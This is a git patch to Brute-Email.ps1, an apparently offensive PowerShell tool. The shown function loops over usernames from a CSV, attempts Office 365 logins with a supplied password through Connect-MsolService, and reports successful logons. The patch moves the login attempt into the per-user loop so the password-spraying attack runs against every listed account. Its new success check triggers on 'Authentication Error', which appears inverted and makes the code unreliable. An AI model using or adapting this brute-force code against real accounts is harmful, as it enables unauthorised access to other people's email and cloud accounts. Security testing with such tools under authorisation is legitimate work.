From ff471d7c3d54b02aa143f7d60306b2084501cb87 Mon Sep 17 00:00:00 2001 From: rvrsh3ll Date: Mon, 12 Dec 2016 09:20:44 -0800 Subject: [PATCH] Update Brute-Email.ps1 --- Brute-Email.ps1 | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/Brute-Email.ps1 b/Brute-Email.ps1 index fa71fd5..719d879 100644 --- a/Brute-Email.ps1 +++ b/Brute-Email.ps1 @@ -34,17 +34,17 @@ function Brute-365 { $usernames = Import-CSV $csv foreach($user in $usernames) { $username = $($user.Username) + $secpasswd = ConvertTo-SecureString $password -AsPlainText -Force + $mycreds = New-Object System.Management.Automation.PSCredential ($username, $secpasswd) + $connect = Connect-MsolService -Credential $mycreds + if ($connect -contains 'Authentication Error') { + Write-Output "Logon Successful for $username" + if ($Beep) { + [console]::beep(2000,500) + } + } } } - $secpasswd = ConvertTo-SecureString $password -AsPlainText -Force - $mycreds = New-Object System.Management.Automation.PSCredential ($username, $secpasswd) - $connect = Connect-MsolService -Credential $mycreds - if ($connect -eq $null) { - Write-Output "Logon Successful for $username" - if ($Beep) { - [console]::beep(2000,500) - } - } } function Brute-OWA { <#